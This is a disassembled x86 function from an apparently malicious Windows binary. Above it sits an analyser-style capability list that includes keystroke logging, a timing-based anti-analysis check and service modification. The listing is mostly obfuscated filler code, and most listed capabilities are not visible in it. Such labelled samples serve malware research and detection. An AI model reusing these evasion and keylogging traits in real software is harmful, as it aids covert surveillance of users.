Function at 0x10018bfa
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Check os version
Get common file path
Get disk information
Get disk size
Get file attributes
Log keystrokes via polling
Modify service
Parse pe header
Query environment variable
Query or enumerate registry value
Query service status
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x1007e516
call fcn.1007d3c0
mov eax, 0x1914
call fcn.10079b70
push ebx
push esi
push edi
push 2
mov ebx, 0xb0f73838
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0xb00]
xor edi, edi
mov dword [ebp - 0x38], 0xfffffffd
pop esi
inc edi
mov byte [ebp - 0x71], dl
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0xfffffffe
push esi
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10018c6d
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb00]
call fcn.10016dbd
mov dword [eax], 0x580849f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10018c4f
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10018c83
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x384], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10018c72
inc dword [ebp - 0x384]
lea ecx, [ebp - 0xb00]
push edi
call fcn.10016dbd
lea ecx, [ebp - 0xb00]
mov dword [eax], 0xe8b0d193
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0xc80]
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0xfffffffe
push esi
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10018cfc
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc80]
call fcn.10016dbd
mov dword [eax], 0x580849f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10018cde
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10018d12
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3e8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10018d01
inc dword [ebp - 0x3e8]
lea ecx, [ebp - 0xc80]
push edi
call fcn.10016dbd
lea ecx, [ebp - 0xc80]
mov dword [eax], 0xe8b0d193
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x30], 0x39b642c7
xor eax, eax
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0xa8b060d2
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x193c1de6
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x38], 0xb8a277eb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10018d98
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x17f0], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10018d83
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10018dae
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1850], 0xe9ab5c29
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10018d9d
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10018dfb
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x300a9e1a
mov dword [ebp - 0x40], 0x8fb5c4ce
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10018df5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1610], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10018de1
xor eax, eax
dec dword [ebp - 0x40]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10018dc1
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x9c8]
push esi
call fcn.10016d1f
push 4
mov dword [ebp - 4], esi
xor eax, eax
pop ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10018e40
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9c8]
call fcn.10016dbd
mov dword [eax], 0xfffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10018e22
xor eax, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], eax
jl 0x10018ea7
mov dword [ebp - 0x1c], 0xebb6748f
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10018e6e
push eax
push eax
push 0x1a64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x10018e9f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9c8]
call fcn.10016dbd
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9c8]
mov esi, eax
call fcn.10016dbd
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x1c]
jns 0x10018e76
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x10018e48
push 2
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x9c8]
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x38], 0xfffffffd
xor eax, eax
mov dword [ebp - 0x2c], 0xba76aabe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10018ee8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1830], 0x13dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10018ed0
xor eax, eax
push 3
mov dword [ebp - 0x2c], eax
pop ebx
jmp 0x10018f62
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10018f10
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3d4], 0xdae8c9f3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10018ef8
xor eax, eax
mov dword [ebp - 0x3d0], eax
jmp 0x10018f46
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], eax
jmp 0x10018f3b
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10018f38
push eax
push 0x1a1a
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10018f20
inc dword [ebp - 0x3d0]
cmp dword [ebp - 0x3d0], ebx
jle 0x10018f18
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10018f5f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x10018ef0
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0xb18]
mov dword [ebp - 0x38], 0xfffffffe
push esi
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10018fa8
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb18]
call fcn.10016dbd
mov dword [eax], 0x580849f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10018f8a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10018fbe
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x39c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10018fad
inc dword [ebp - 0x39c]
lea ecx, [ebp - 0xb18]
push edi
call fcn.10016dbd
lea ecx, [ebp - 0xb18]
mov dword [eax], 0xe8b0d193
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016da1
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0xcd430964
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1001901b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x354], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019003
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019049
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x10019031
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x10019033
mov ecx, edi
xor eax, eax
cmp ecx, 0xfffb
sete al
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x10]
mov eax, edi
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0x10], eax
jle 0x10019060
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019069
jmp 0x10019062
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10019069
mov eax, edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1001907e
call ebx
mov dword [ebp - 0x24], 0xffff
lea ecx, [ebp - 0xd40]
push 8
mov dword [ebp - 0x10], 0x2206dd2c
pop eax
mov dword [ebp - 0x14], 0x3b0a6d08
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xcb090aec
push esi
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100190d6
push 8
pop ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1030], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100190c1
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100190f2
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd40]
call fcn.10016dbd
mov dword [eax], 0xbab7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100190db
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
xor eax, eax
cmp ecx, 0x1e01
setle al
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
neg edx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov edx, dword [ebp - 0x24]
setne cl
imul eax, ecx, 0x66de
sub edx, eax
mov eax, dword [ebp - 0x24]
sub edx, 0xfffffffc
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, 0x29207965
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, 0x4a30f524
lea ecx, [ebp - 0xd40]
setne dl
sub eax, edx
add eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
xor eax, eax
push eax
call fcn.10016dbd
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax]
mov dword [ebp - 0x102c], ecx
mov ecx, dword [ebp - 0x102c]
dec dword [eax]
cmp ecx, edx
jne 0x100191b9
mov esi, edi
jmp 0x100191bd
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100191ca
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100191da
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
add eax, 0x23013892
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
lea ecx, [ebp - 0xd40]
setl dl
xor eax, eax
cmp esi, edx
setg al
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x38], 0xb0f73838
xor eax, eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x38], 0x151c8b9b
mov dword [ebp - 0x1c], 0x4eb300a9
push 2
mov dword [ebp - 0x48], 0xb49
mov dword [ebp - 0x1c], eax
pop esi
jmp 0x10019254
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1738], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10019243
mov dword [ebp - 0x34], 0xc
cmp dword [ebp - 0x34], 0xfffffff0
jge 0x1001944a
xor ebx, ebx
push esi
lea ecx, [ebp - 0x42c]
call fcn.10016d1f
mov dword [ebp - 4], 5
lea ecx, [ebp - 0xe8c]
mov dword [ebp - 0x38], 0xf065f4b
push 3
call fcn.10016d1f
mov byte [ebp - 4], 6
mov dword [ebp - 0x10], ebx
jmp 0x100192b3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x42c]
call fcn.10016dbd
mov dword [eax], 0x75286e87
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001929c
mov dword [ebp - 0x10], ebx
jmp 0x100192d4
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe8c]
call fcn.10016dbd
mov dword [eax], 0x2c005d9c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100192bd
push ebx
lea ecx, [ebp - 0x42c]
call fcn.10016dbd
mov dword [eax], ebx
jmp 0x10019406
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x7684abf0
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], esi
jge 0x1001932f
push 0xfffffffffffffffb
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15e8], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001931d
mov dword [ebp - 0x3b8], ebx
cmp dword [ebp - 0x3b8], 0x14
jl 0x100193f8
or eax, 0xffffffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0xdbd0176d
mov dword [ebp - 0x1c], ebx
jmp 0x10019365
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x764], 0x1791e6e4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019354
cmp dword [ebp - 0x14], ebx
je 0x10019380
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x3b8]
jge 0x10019382
mov edi, ebx
push ebx
lea ecx, [ebp - 0x42c]
call fcn.10016dbd
mov ecx, dword [ebp - 0x3b8]
mov esi, eax
xor eax, eax
mov edx, 0xffb22167
sub edx, ecx
mov ecx, dword [ebp - 0x34]
cmp edx, ecx
setg al
sub eax, dword [esi]
imul eax, edi
cmp dword [ebp - 0x34], eax
jge 0x100193bd
cmp dword [ebp - 0x34], ebx
jne 0x100193bd
xor edi, edi
mov ecx, ebx
inc edi
jmp 0x100193c2
xor edi, edi
inc edi
mov ecx, edi
mov eax, dword [ebp - 0x3b8]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x764], ecx
inc dword [ebp - 0x48]
inc dword [ebp - 0x3b8]
cmp dword [ebp - 0x3b8], 0x14
jge 0x10019342
push 2
pop esi
push ebx
lea ecx, [ebp - 0x42c]
call fcn.10016dbd
inc dword [eax]
push ebx
lea ecx, [ebp - 0x42c]
call fcn.10016dbd
cmp dword [eax], 0x19
jge 0x100192ed
lea ecx, [ebp - 0xe8c]
call fcn.10016da1
or eax, 0xffffffff
lea ecx, [ebp - 0x42c]
mov dword [ebp - 4], eax
call fcn.10016da1
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff0
jl 0x1001926c
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
xor esi, esi
push 0xfffffffffffffff8
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jne 0x1001948a
xor ebx, ebx
inc esi
mov dword [ebp - 0x34], ebx
jmp 0x10019473
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10019470
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x10019461
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
je 0x1001945c
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
jmp 0x1001948b
inc esi
mov dword [ebp - 0x38], 0xfffffffd
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0x39b642c7
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xa8b060d2
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x193c1de6
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0xb8a277eb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100194e4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1808], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100194cf
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100194fa
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x18f0], 0xe9ab5c29
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100194e9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edi
jmp 0x1001954a
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x300a9e1a
mov dword [ebp - 0x40], 0x8fb5c4ce
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x10019544
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1750], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10019530
xor eax, eax
dec dword [ebp - 0x40]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x10019510
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x9b0]
push edi
call fcn.10016d1f
mov dword [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10019594
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
mov dword [eax], 0xfffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019576
xor eax, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
jl 0x100195fe
xor ebx, ebx
mov dword [ebp - 0x1c], 0xebb6748f
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x100195c1
push ebx
push ebx
push 0x1a64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x100195f3
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9b0]
mov esi, eax
call fcn.10016dbd
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x1c]
jns 0x100195c9
xor esi, esi
inc esi
dec dword [ebp - 0x2c]
jns 0x1001959e
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
or eax, 0xffffffff
lea ecx, [ebp - 0x9b0]
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x38], 0xfffffffe
xor eax, eax
mov dword [ebp - 0x2c], 0xba76aabe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10019641
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1870], 0x13dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10019628
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jg 0x100196c1
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10019662
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x374], 0xdae8c9f3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019651
mov dword [ebp - 0x370], ebx
jmp 0x1001969b
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1001968f
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1001968c
push ebx
push 0x1a1a
push ebx
call dword [sym.imp.GDI32.dll_GetObjectW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10019677
inc dword [ebp - 0x370]
cmp dword [ebp - 0x370], 3
jle 0x1001966f
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x100196b2
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1001964c
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
push edi
lea ecx, [ebp - 0xb30]
call fcn.10016d1f
push 8
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x34], 0x8a61928c
mov dword [ebp - 0x40], 0xfec
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10019705
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1620], 0xba2522ab
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100196ec
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jle 0x100197f0
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10019728
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13e4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001971b
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
xor eax, eax
neg ecx
cmp ecx, 0x566a
setl al
cmp dword [ebp - 0x10], eax
jge 0x1001977a
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10019775
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [ebp - 0x10]
jmp 0x100197de
mov dword [ebp - 0x1c], ebx
jmp 0x10019790
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7a8], 0xc41fd9d0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001977f
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x100197a4
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
inc eax
je 0x100197af
cmp dword [ebp - 0x34], ebx
jne 0x100197b6
mov ecx, ebx
cmp dword [ebp - 0x10], ebx
je 0x100197b8
mov ecx, esi
mov eax, dword [ebp - 0x7a4]
imul ecx, eax
mov dword [ebp - 0x7a4], eax
xor eax, eax
test ecx, ecx
sets al
mov dword [ebp - 0x13e4], eax
mov dword [ebp - 0x7a4], 0xfffffff7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jg 0x10019713
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1614], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xcff0ea75
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jne 0x1001989c
push 3
lea ecx, [ebp - 0x830]
call fcn.10016d1f
xor eax, eax
mov byte [ebp - 4], 9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10019855
or ebx, 0xffffffff
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x830]
call fcn.10016dbd
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019834
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10019868
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push esi
lea ecx, [ebp - 0x830]
call fcn.10016dbd
push 8
lea ecx, [ebp - 0x830]
cmp dword [eax], 0
pop eax
mov byte [ebp - 4], al
jne 0x10019895
call fcn.10016da1
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe7
je 0x10019815
jmp 0x1001989a
call fcn.10016da1
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x801897a4
mov dword [ebp - 0x38], 0x8b72fd49
mov dword [ebp - 0x38], 0xc7555b7c
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100198d9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1820], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100198c0
xor eax, eax
dec dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10019902
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb30]
call fcn.10016dbd
mov dword [eax], 0x580849f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100198e4
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x34], 0xedfa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001992a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13f0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019915
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1001999d
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x40], 0x964a90c6
mov dword [ebp - 0x1c], eax
jmp 0x10019953
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe60], 0xd402da3c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019942
mov eax, dword [ebp - 0x48]
xor edx, edx
test eax, eax
setg dl
dec edx
add edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0xfffffffe
setne cl
xor eax, eax
test ecx, ecx
setle al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x10]
jne 0x10019988
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
test eax, eax
setg cl
mov dword [ebp - 0xe60], ecx
jmp 0x10019a1d
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x40], 0x552ad14c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2f
jge 0x10019a1f
mov dword [ebp - 0x40], 0x5c6a
mov edx, 0x17e
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 0xd232
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x10]
imul eax, eax, 0x197c
sub eax, 3
neg eax
sbb eax, eax
inc eax
cmp eax, 0xd2e84cbf
sbb eax, eax
xor ecx, ecx
inc eax
sub edx, eax
sub edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setg cl
xor edx, edx
cmp ecx, 0xb606
setl dl
xor eax, eax
cmp edx, 0xf9e8
setle al
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x2f
jl 0x100199b4
xor eax, eax
